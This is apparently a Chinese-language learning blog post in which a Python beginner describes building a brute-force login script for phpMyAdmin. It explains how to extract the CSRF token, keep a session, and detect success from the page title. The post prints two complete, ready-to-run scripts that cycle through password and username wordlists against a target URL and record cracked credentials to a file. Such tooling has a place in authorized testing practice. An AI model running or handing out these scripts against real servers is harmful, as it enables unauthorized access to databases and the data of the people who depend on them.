初学python不久 记录一下写脚本的过程
思路 过程
首先 是要对于phpadmin的账号密码进行爆破
先找个环境抓个包看看
了解到需要脚本中 准备 请求头 还需要获取到token 最好还能获取到标题 以作验证
提交的数据中 需要pma_username
pma_password
server=1
target=index.php
token
等数据
还要进行会话保持
http协议本身是无状态的,为了让请求之间保持状态,有了session和cookie机制。requests也提供了相应的方法去操纵它们。
requests中的
session
对象能够让我们跨http请求保持某些参数,就是比如使用session成功的登录了某个网站,则在再次使用该session对象求求该网站的其他网页都会默认使用该session之前使用的cookie等参数,尤其是在保持登陆状态时运用的最多,在某些网站抓取,或者app抓取时,有的是强制登陆,有的是不登陆返回的数据就是假的或者说是不完整的数据,那我们不可能去做到每一次请求都要去登陆一下怎么办,就需要用到保持会话的功能了,我们可以只登陆一次,然后保持这种状态去做其他的或者更多的请求。
同时 由于 phpmyadmin中存在token
还需要获取token
还需要获取标题
在获取过程中 需要使用到 re.findall
函数来对需要的数据进行正则匹配
. # 点可代表一切字符
\ # 起转义作用
[...] # 指代方括号中的任意字符
\d # 指代数字0-9
\D # 指代非数字
\s # 指代一切空格,包括tab制表符、空格、换行等
\S # 指代非空格
\w # 指代大小写字母、数字和下划线
\W # 指代非大小写字母、数字和下划线
* # 匹配前面字符 >=0 次
+ # 匹配前面字符1次及以上
? # 匹配前面字符0次或1次
{m} # 匹配m次
{m,n} # 匹配m到n次
{m,} # 至少匹配m次
经过调试和验证 得到获取token的语句
name=\"token\" value=\"(.*?)\" />
获取标题的语句
登录前
登录后
可以通过这个来判断是否登陆成功
了
通过前后获取到的标题长度不同 或者相同 应该可以判断 是能登陆还是不能
<title>(.*)</title>
获取了标题和token 然后再爆破
同时 在获取token时还遇到了编码解码问题 一些字符会被转义 百度以后查找类似问题后 发现引入unescape
函数可以解决问题
return unescape(token[0]) if token else None
爆破成功还可以输出爆破成功的密码账号到txt中
print字符串前面加f表示格式化字符串,加f
后可以在字符串里面使用用花括号括起来的变量和表达式,如果字符串里面没有表达式,那么前面加不加f输出应该都一样.
最后得到的脚本如下
脚本
from requests import session
from re import findall
from html import unescape
# phpmyadmin地址,例如 http://localhost/index.php
target = 'http://localhost/index.php'
# 要爆破的用户名
user = 'root'
# 密码字典文件路径
passdic = 'password.txt'
#
ss = session()
ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \
Chrome/87.0.4280.88 Safari/537.36'}
def get_token(text) -> str:
# 获取token
token = findall("name=\"token\" value=\"(.*?)\" />", text)
return unescape(token[0]) if token else None
def get_title(text) -> str:
# 获取标题
title = findall('<title>(.*)</title>', text)
return title[0] if title else None
def try_login(user, pwd, token):
# 尝试登陆
data = {'pma_username': user,
'pma_password': pwd,
'server': 1,
'target': 'index.php',
'token': token}
r = ss.post(url=target, data=data)
return r.text
def burst_pma():
# 爆破
with open(passdic, 'r', encoding='utf-8') as f:
html = try_login('', '', '')
title_fail = get_title(html)
token = get_token(html)
for line in f:
pwd = line.strip()
print(f'[?] loading... {user} {pwd} ')
html = try_login(user, pwd, token)
title = get_title(html)
token = get_token(html)
if title != title_fail:
print(f'[√] success {title}')
with open('success.txt', 'a', encoding='utf-8') as f:
f.write(f'{target} | {user} | {pwd}\n')
break
else:
print(f'[×] failed {title}')
try:
if __name__ == "__main__":
burst_pma()
except Exception as e:
print(e)
同时生成的密码文件
2021-8-5 增加了爆破的灵活性 增加了用户名文件
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
#使用时需要修改 target中的url 脚本同目录下的字典文件 namedic.txt passdic.txt
from requests import session
from re import findall
from html import unescape
# phpmyadmin地址,例如 http://localhost/index.php
target = 'http://1.1.1.1:1/index.php'
# 用户名字典文件
#user = 'root'
namedic = 'namedic.txt'
# 字典文件路径
passdic = 'password.txt'
ss = session()
ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \
Chrome/87.0.4280.88 Safari/537.36'}
# 获取token函数
def get_token(text) -> str:
token = findall("name=\"token\" value=\"(.*?)\" />", text)
return unescape(token[0]) if token else None
# 获取网站标题函数
def get_title(text) -> str:
title = findall('<title>(.*)</title>', text)
return title[0] if title else None
#尝试登录函数
def try_login(user, pwd, token):
data = {'pma_username': user,
'pma_password': pwd,
'server': 1,
'target': 'index.php',
'token': token}
r = ss.post(url=target, data=data)
return r.text
#爆破函数
def burst_pma():
html = try_login('', '', '')
title_fail = get_title(html)
token = get_token(html)
with open(passdic, 'r', encoding='utf-8') as f:
for line in f:
with open(namedic, 'r', encoding='utf-8') as h:
for li in h:
user = li.strip()
pwd = line.strip()
print(f'[?] loading {user} {pwd} ')
html = try_login(user, pwd, token)
title = get_title(html)
token = get_token(html)
if title != title_fail:
print(f'[+] success {title}')
with open('success.txt', 'a', encoding='utf-8') as g:
g.write(f'{target} | {user} | {pwd}\n')
break
else:
print(f'[-] failed {title}')
if __name__ == "__main__":
try:
burst_pma()
except Exception as e:
print(e)
反思
1.由于对python
的内容了解不多 很多功能一开始并不知道怎么实现 ,百度才发现有现成的函数 和功能 对于登录成功的判断有点投机取巧 应该是有更加明确的方式进行判断的
2.对于脚本工具的使用更加了解,增加了对python的认知
3.写完考虑到可能不只是单一用户名 后续可以 加上对用户名的遍历打开俩文件遍历 还差点翻车 …
4.还是多练习 这次啥也不懂查了好多资料 看了好多类似的爆破 脚本 对于正则表达式用的不够熟练 提取数据试验了很多次 很多地方写的还很笨 以后学的多了慢慢修改,,,,
参考文章
https://www.sqlsec.com/2018/07/pyscript1.html
https://blog.csdn.net/wsnbbz/article/details/105531530
https://blog.csdn.net/blbq105/article/details/85274676
https://www.cnblogs.com/zhuosanxun/p/12679121.html
https://zhuanlan.zhihu.com/p/139596371
https://www.cnblogs.com/wangbinbin/p/7101099.html
https://www.cnblogs.com/dearddu/p/12464891.html